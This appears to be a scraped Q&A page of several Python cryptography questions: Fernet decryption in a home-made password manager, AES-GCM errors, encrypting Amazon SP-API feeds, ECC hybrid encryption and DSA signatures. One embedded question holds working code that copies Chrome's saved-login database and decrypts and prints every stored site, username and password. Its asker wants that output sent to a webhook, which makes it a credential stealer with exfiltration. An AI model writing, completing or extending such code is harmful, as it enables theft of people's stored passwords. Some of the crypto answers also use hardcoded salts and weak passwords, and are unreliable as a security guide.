Fernet Invalid Token Error for Password Manager - python

I am currently trying to make a custom little password manager in Python using the cryptography module. Encryption with a master password seems okay, but decrypting it results in 2 errors:
Here's the code:
import os
import base64
import pickle
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
logins = {}
masterpass = bytes(input('Unlock login ring with master password: '), 'utf-8')
def newLogin(email, username, password):
logins['{}:{}'.format(email, username)] = password
def loadLogins():
salt = os.urandom(16)
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000,
backend=default_backend()
)
key = base64.urlsafe_b64encode(kdf.derive(masterpass))
f = Fernet(key)
file = open('keyring.keys', 'rb')
token = f.decrypt(file.read())
print(file.read())
file.close()
def saveLogins():
salt = os.urandom(16)
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000,
backend=default_backend()
)
key = base64.urlsafe_b64encode(kdf.derive(masterpass))
f = Fernet(key)
logs = ['{}'.format(x) for x in logins]
pasw = ['{}'.format(logins[y]) for y in logins]
keys = []
for i in range(len(logins)):
keys += logs[i] + ':' + pasw[i] + ';'
print(''.join(keys))
keyring = f.encrypt(bytes(''.join(keys), 'utf-8'))
file = open('keyring.keys', 'wb')
pickle.dump(keyring, file)
file.close()
The way my code works is you have to give it a master password initially. It will then store that master password as a bytes object. Next, you can add/update logins to the logins dictionary. Then, using the Fernet recipe for passwords (Using passwords with Fernet (cryptography module)), I convert the master password into a Fernet key for encrypting and decrypting the logins to and from a file. As stated above, the encryption works fine, but decryption always results in an error. Am I doing something wrong with my decryption function? Or how I implement the password encryption/decryption?
Thanks.

Sorry, stupid mistakes where made. The solution was to generate an os.urandom salt and use that as a literal (aka "magic number") for the derivation of the key. Also, I just need to derive the key only once, not in every function.
I also need to call pickle.load on the file I am going to write to. Here is a working solution:
import base64
import pickle
from cryptography.fernet import Fernet
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
logins = {}
masterpass = bytes(input('Unlock login ring with master password: '), 'utf-8')
# Derive key from master password
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=b'\xaab\xc0\xe0+\xc8\xb29\xc5\xe9\xbb\xfb\xaa\xb6\xab\xa7',
iterations=100000,
backend=default_backend()
)
key = base64.urlsafe_b64encode(kdf.derive(masterpass))
f = Fernet(key)
# Add or update login information in
# the logins dictionary.
def setLogin(website, email, username, password):
logins[website] = '{}:{}:{}'.format(email, username, password)
# Load and decrypt the logins and
# return them in string format.
def loadLogins():
file = open('keyring.keys', 'rb')
token = f.decrypt( pickle.load(file) )
file.close()
return token.decode('utf-8')
# Separate and load logins into the
# logins dictionary.
def parseLogins(strLogins):
individual_logins = strLogins.split(';')
for i in range(len(individual_logins)):
if (individual_logins[i] != ''):
website, email, username, password = individual_logins[i].split(':')
setLogin(website, email, username, password)
print(individual_logins)
# Encrypt and save logins in a bytes file
# using the master password.
def saveLogins():
logs = ['{}'.format(x) for x in logins]
pasw = ['{}'.format(logins[y]) for y in logins]
keys = []
for i in range(len(logins)):
keys += logs[i] + ':' + pasw[i] + ';'
print(''.join(keys))
keyring = f.encrypt(bytes(''.join(keys), 'utf-8'))
file = open('keyring.keys', 'wb')
pickle.dump(keyring, file)
print(keyring)
file.close()
# Display all login information.
def showLogins():
for i in logins:
info = logins[i].split(':')
website = i
email = info[0]
username = info[1]
password = info[2]
print(f'\nWebsite: {website}\nEmail: {email}\nUsername: {username}\nPassword: {password}\n')

Related

Error decrypting using AES GCM in Python; AttributeError: 'Cipher' object has no attribute 'decrypt'

I am sending some information to a https server and receving a response. To increase the privary, I want to use some kind of encryption.
I am sending json data and I am encrypting the data as following
I am using Python3.6
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes, hmac
from cryptography.hazmat.backends import default_backend
salt = os.urandom(16)
password = b'password'
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000
)
key = kdf.derive(password)
cipher = Cipher(algorithms.AES(key), modes.GCM(salt), backend=default_backend())
decryptor = cipher.decryptor()
encryptor = cipher.encryptor()
headers = {'Content-Type': 'application/json'}
data = {'xxxx': xxxx, 'xxxx': xxxx}
encrypted_data = encryptor.update(json.dumps(data).encode('utf-8')) + encryptor.finalize()
tag = encryptor.tag
Now, I am trying to decrypt the data as following
encrypted_data_b64 = request['encrypted_data']
tag_b64 = request['tag']
salt_b64 = request['salt']
encrypted_data = base64.b64decode(encrypted_data_b64)
tag = base64.b64decode(tag_b64)
salt = base64.b64decode(salt_b64)
password = b'password'
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000
)
key = kdf.derive(password)
cipher = Cipher(algorithms.AES(key), modes.GCM(salt), backend=default_backend())
decrypted_data = cipher.decrypt(encrypted_data, tag)
getting error :
AttributeError: 'Cipher' object has no attribute 'decrypt'
Also, tried
decryptor = cipher.decryptor()
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
Gettting error:
"Authentication tag must be provided when decrypting." ValueError: Authentication tag must be provided when decrypting.
So, I tried
decrypted_data = decryptor.update(encrypted_data) +
decryptor.finalize(tag) TypeError: finalize() takes 1 positional
argument but 2 were given
Any suggestion will be helpful.

How do I send a LOG output to a webhook?

How do I send these log outputs to a webhook? Script below (Python 3.9). I have successfully changed the print output to log outputs, and the code works, however, I need the output to be able to be sent to a webhook.
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta
import logging
# Get the top-level logger object
log = logging.getLogger()
# make it print to the console.
console = logging.StreamHandler()
log.addHandler(console)
def chrome_date_and_time(chrome_data):
# Chrome_data format is 'year-month-date
# hr:mins:seconds.milliseconds
# This will return datetime.datetime Object
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
# Local_computer_directory_path will look
# like this below
# C: => Users => <Your_Name> => AppData =>
# Local => Google => Chrome => User Data =>
# Local State
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
# decoding the encryption key using base64
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
# remove Windows Data Protection API (DPAPI) str
encryption_key = encryption_key[5:]
# return decrypted key
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
# generate cipher
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
# decrypt password
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
def main():
key = fetching_encryption_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", "default", "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
# connecting to the database
db = sqlite3.connect(filename)
cursor = db.cursor()
# 'logins' table has the data
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
# iterate over all rows
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
log.warn(f"Main URL: {main_url}")
log.warn(f"Login URL: {login_page_url}")
log.warn(f"User name: {user_name}")
log.warn(f"Decrypted Password: {decrypted_password}")
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
log.warn(f"Creation date: {str(chrome_date_and_time(date_of_creation))}")
if last_usuage != 86400000000 and last_usuage:
log.warn(f"Last Used: {str(chrome_date_and_time(last_usuage))}")
log.warn("=" * 100)
cursor.close()
db.close()
try:
# trying to remove the copied db file as
# well from local computer
os.remove(filename)
except:
pass
if __name__ == "__main__":
main()
Thank you for helping and anyhting helps. If there is anyway to combine these logout puts into less code please tell me too.

Amazon selling-partner-api feed encrypt file with Python

I tried GreatFeedDocument, then I received a status code is 200, but the get feed result's status:
"processingStatus": "FATAL"
I have too many times tried but I can't understand,
How I can encrypt the XML file?
Here is my python script.
from aws_auth import Auth
import requests
import json
from pprint import pprint
import base64, os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
ownercd = "****"
sp_auth = Auth(ownercd)
def pad(s):
# Data will be padded to 16 byte boundary in CBC mode
return s + b"\0" * (AES.block_size - len(s) % AES.block_size)
def getKey(password):
# Use SHA256 to hash password for encrypting AES
hasher = SHA256.new(password.encode())
return hasher.digest()
# Encrypt message with password
def encrypt(message, key, iv, key_size=256):
message = pad(message)
cipher = AES.new(key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(message)
# Encrypt file
def encrypt_file(file_name, key, iv):
# Open file to get file Data
with open(file_name, "rb") as fo:
plaintext = fo.read()
# Encrypt plaintext with key has been hash by SHA256.
enc = encrypt(plaintext, key, iv)
# write Encrypted file
with open(file_name + ".enc", "wb") as fo:
fo.write(enc)
return enc
if sp_auth != False:
x_amz_access_token = sp_auth[0] # AWS SP-api access token
AWSRequestsAuth = sp_auth[1] # AWS signature
config = sp_auth[2] # From mongo's config
feed_headers = {
"Content-Type": "application/json",
"x-amz-access-token": x_amz_access_token,
}
contentType = {"contentType": "application/xml; charset=UTF-8"}
# [1.1] Create a FeedDocument
creat_feed_res = requests.post(
config["BASE_URL"] + "/feeds/2020-09-04/documents",
headers=feed_headers,
auth=AWSRequestsAuth,
data=json.dumps(contentType),
)
# [1.2] Store the response
CreatFeedResponse = creat_feed_res.json()["payload"]
feedDocumentId = CreatFeedResponse["feedDocumentId"]
initializationVector = CreatFeedResponse["encryptionDetails"][ "initializationVector"]
url = CreatFeedResponse["url"]
key = CreatFeedResponse["encryptionDetails"]["key"]
# [1.3] Upload and encrypt document
filename = "carton.xml"
iv = base64.b64decode(initializationVector)
encrypt_data = encrypt_file(filename, getKey(key), iv)
headers = {"Content-Type": "application/xml; charset=UTF-8"}
res = requests.put(url, headers=headers, data=encrypt_data)
print(res.status_code) # 200
print(res.request.body) # b'8L^\xbeY\xf....
print(res.content.decode())
It is the GetFeed Response:
Can anyone help me with that? Thanks in advance!
I solved my problem.
Here is my example code.
import requests
import json
from pprint import pprint
import base64, os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from base64 import b64encode
import pyaes
dirname = os.path.dirname(os.path.abspath(__file__))
xmlFile_Name = dirname + "/template/carton.xml"
def encrypt(key, initializationVector):
# Create random 16 bytes IV, Create 32 bytes key
key = base64.b64decode(key)
iv = base64.b64decode(initializationVector)
# Encryption with AES-256-CBC
if os.path.isfile(xmlFile_Name) == False:
print("===== CARTON FILE NOT FOUND FROM ===== : {}".format(xmlFile_Name))
sys.exit()
with open(xmlFile_Name, "r") as fo:
plaintext = fo.read()
# print(plaintext)
encrypter = pyaes.Encrypter(pyaes.AESModeOfOperationCBC(key, iv))
ciphertext = encrypter.feed(plaintext.encode("utf8"))
ciphertext += encrypter.feed()
res = requests.put(
url,
data=ciphertext,
headers=contentType,
)
print("STATUS UPLOAD: ", res.status_code) # 200
if res.status_code == 200:
print("===== FILE UPLOAD DONE =====")
# REQUEST
feed_headers = {
"Content-Type": "application/json",
"x-amz-access-token": x_amz_access_token,
}
contentType = {"contentType": "application/xml; charset=UTF-8"}
creat_feed_res = requests.post(
config["BASE_URL"] + "/feeds/2020-09-04/documents",
headers=feed_headers,
auth=AWSRequestsAuth,
data=json.dumps(contentType),
)
# [1.2] Store the response
CreatFeedResponse = creat_feed_res.json()["payload"]
feedDocumentId = CreatFeedResponse["feedDocumentId"]
initializationVector = CreatFeedResponse["encryptionDetails"][ "initializationVector"]
url = CreatFeedResponse["url"]
key = CreatFeedResponse["encryptionDetails"]["key"]
# print(feedDocumentId)
# print("KEY =>", key)
# print("IV =>", initializationVector)
# print(url) #s3 url
contentType = {"Content-Type": "application/xml; charset=UTF-8"}
encryptFile = encrypt(key, initializationVector)
# [3.1] Create a feed
feedType = "POST_FBA_INBOUND_CARTON_CONTENTS"
marketplaceIds = "A1VC38T7*****"
inputFeedDocumentId = feedDocumentId
createdFeedURL = "https://sellingpartnerapi-fe.amazon.com/feeds/2020-09-04/feeds"
createFeedBody = {
"inputFeedDocumentId": inputFeedDocumentId,
"feedType": feedType,
"marketplaceIds": [marketplaceIds],
}
resCreatFeed = requests.post(
createdFeedURL,
headers=feed_headers,
auth=AWSRequestsAuth,
data=json.dumps(createFeedBody),
)
createFeedStatusCode = resCreatFeed.json()
if resCreatFeed.status_code == 202:
# print("Steph 2).")
feedId = createFeedStatusCode["payload"]["feedId"]
print("FEED ID: ", feedId)
# [3.2] CET a feed
getFeed = requests.get(
config["BASE_URL"] +
"/feeds/2020-09-04/feeds/{}".format(str(feedId)),
headers=feed_headers,
auth=AWSRequestsAuth,
)
pprint(getFeed.json()['payload'])
Here is my Get Feed response:
{'payload': {
'createdTime': '2021-02-24T07:43:22+00:00',
'feedId': '14795****',
'feedType': 'POST_FBA_INBOUND_CARTON_CONTENTS',
'marketplaceIds': ['A1VC38T7****'],
'processingStatus': 'DONE'}
}
Then I used the cartonID, I could download the get labels PDF file from the URL.
PackageLabelsToPrint is your cartonID you must set the CartonID here, for example:
Last, I could download a PDF file using the URL
Here is my GetLabel:

How to encrypt messages with ECC in pycryptodom

I'm using Hybrid encryption(RSA+AES) but the length was large and now i want to use ECC instead of RSA, but in pycryptodom there is no implementation for that..
this is my RSA code
def generate_keys():
key = RSA.generate(1024)
private_key = key.exportKey(format='PEM', pkcs=8,
protection="scryptAndAES128-CBC")
f = open("private_key.pem", "wb")
f.write(private_key)
public_key = key.publickey().exportKey('PEM')
f = open("public_key.pem", "wb")
f.write(public_key)
f.close()
def encrypt(username, msg):
#get the reciever's public key
f = open("{}.pem".format(username)) # a.salama.pem
recipient_key = RSA.import_key(f.read())
f.close()
# Encrypt the session key with the reciever's public RSA key
cipher_rsa = PKCS1_OAEP.new(recipient_key)
# Encrypt the data with the AES session key
session_key = get_random_bytes(16)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(msg.encode('utf-
8'))
encrypted_data = cipher_rsa.encrypt(session_key) +
cipher_aes.nonce + tag + ciphertext
encrypted_data = base64.b64encode(encrypted_data)
return encrypted_data
And after trying to use ECC+AES the code will be
from Crypto.PublicKey import ECC
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import base64
def generate_keys():
key = ECC.generate(curve='P-256') #3072 RSA
private_key = key.export_key(format='PEM')
f = open('private_key.pem','wt')
f.write(private_key)
f.close()
public_key = key.public_key().export_key(format='PEM')
f = open('public_key.pem','wt')
f.write(public_key)
f.close()
def encrypt(username, msg):
#get the reciever's public key
f = open("{}.pem".format(username), 'rt') # a.salama.pem
recipient_key = ECC.import_key(f.read())
f.close()
# Encrypt the session key with the reciever's public RSA key
cipher_rsa = PKCS1_OAEP.new(recipient_key)
# Encrypt the data with the AES session key
session_key = get_random_bytes(16)
#we use the EAX mode to allow detection of unauthorized
modifications.
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(msg.encode('utf-
8'))
encrypted_data = cipher_rsa.encrypt(session_key) +
cipher_aes.nonce + tag + ciphertext
encrypted_data = base64.b64encode(encrypted_data)
return encrypted_data.decode()
This gives me error in this line
cipher_rsa = PKCS1_OAEP.new(recipient_key)
but i want to encrypt the session key with the public key, how to do this with pycryptodome or any other way
Pycryptodome does not support elliptic curve-based encryption (ECC encryption).
Use the ECIES algorithm instead, e.g. this Python library: https://github.com/kigawas/eciespy
The ECIES (Elliptic Curve Integrated Encryption Scheme) is hybrid encryption scheme, which combines ECC public-key cryptography to asymmetrically encrypt a session key, used later to encrypt the input data with a symmetric cipher (e.g. with AES-GCM).
I know this is an old question, but to anyone else that comes here:
You can use Pycryptodome or Cryptography for this now. Using Pycrptodome for example:
from Crypto.PublicKey import ECC
def get_or_create_public_key(filename: str = "private_key.pem"):
""" Helper function to retrieve public key """
private_key_file = os.path.join(settings.BASE_DIR, filename)
if os.path.exists(private_key_file):
file = open(private_key_file, "rt")
private_key = ECC.import_key(file.read(), passphrase=settings.SECRET_KEY)
else:
private_key = ECC.generate(curve="P-256")
file = open(private_key_file, "wt")
file.write(
private_key.export_key(
format="PEM",
use_pkcs8=True,
passphrase=settings.SECRET_KEY,
protection="PBKDF2WithHMAC-SHA1AndAES128-CBC",
)
)
file.close()
public_key = private_key.public_key()
return public_key.export_key(format="PEM")

Python: Cryptodomex not working with DSA verification

I tried to verify the signature of a file by DSA encryption. I am using Pyton 3.6 and pycryptodomex version 3.4.7.
Unhappily the documentation code seems to be outdated (was trying to get a simple example working):
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
# Create a new DSA key
key = DSA.generate(2048)
f = open("public_key.pem", "w")
f.write(key.publickey().exportKey(key))
# Sign a message
message = b"Hello"
hash_obj = SHA256.new(message)
signer = DSS.new(key, 'fips-186-3')
signature = key.sign(hash_obj)
# Load the public key
f = open("public_key.pem", "r")
hash_obj = SHA256.new(message)
pub_key = DSA.import_key(f.read())
# Verify the authenticity of the message
if pub_key.verify(hash_obj, signature):
print "OK"
else:
print "Incorrect signature"
this is my code, tried to fix the function calls which were not working:
from Cryptodome.PublicKey import DSA
from Cryptodome.Signature import DSS
from Cryptodome.Hash import SHA256
# Create a new DSA key
key = DSA.generate(2048)
print(key.exportKey())
# Sign a message
message = b"Hello"
hash_obj = SHA256.new(message)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(hash_obj)
# Load the public key
pub_key = DSA.import_key(key.publickey().exportKey())
verifyer = DSS.new(pub_key, 'fips-186-3')
hash_obj = SHA256.new(message)
# Verify the authenticity of the message
if verifyer.verify(hash_obj, signature):
print("OK")
else:
print("Incorrect signature")
Can someone help me with this topic?
works like that
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import base64
# Create a new DSA key
key = DSA.generate(2048)
f = open("public_key.pem", "w")
f.write(base64.b64encode(key.publickey().export_key()).decode("utf-8") )
f.close()
# Sign a message
message = b"Hello"
hash_obj = SHA256.new(message)
signer = DSS.new(key, 'fips-186-3')
signature = signer.sign(hash_obj)
# Load the public key
f = open("public_key.pem", "r")
hash_obj = SHA256.new(message)
pub_key = DSA.import_key(base64.b64decode(f.read()))
verifier = DSS.new(pub_key, 'fips-186-3')
# Verify the authenticity of the message
try:
verifier.verify(hash_obj, signature)
print("The message is authentic.")
except ValueError:
print("The message is not authentic.")

Categories

Resources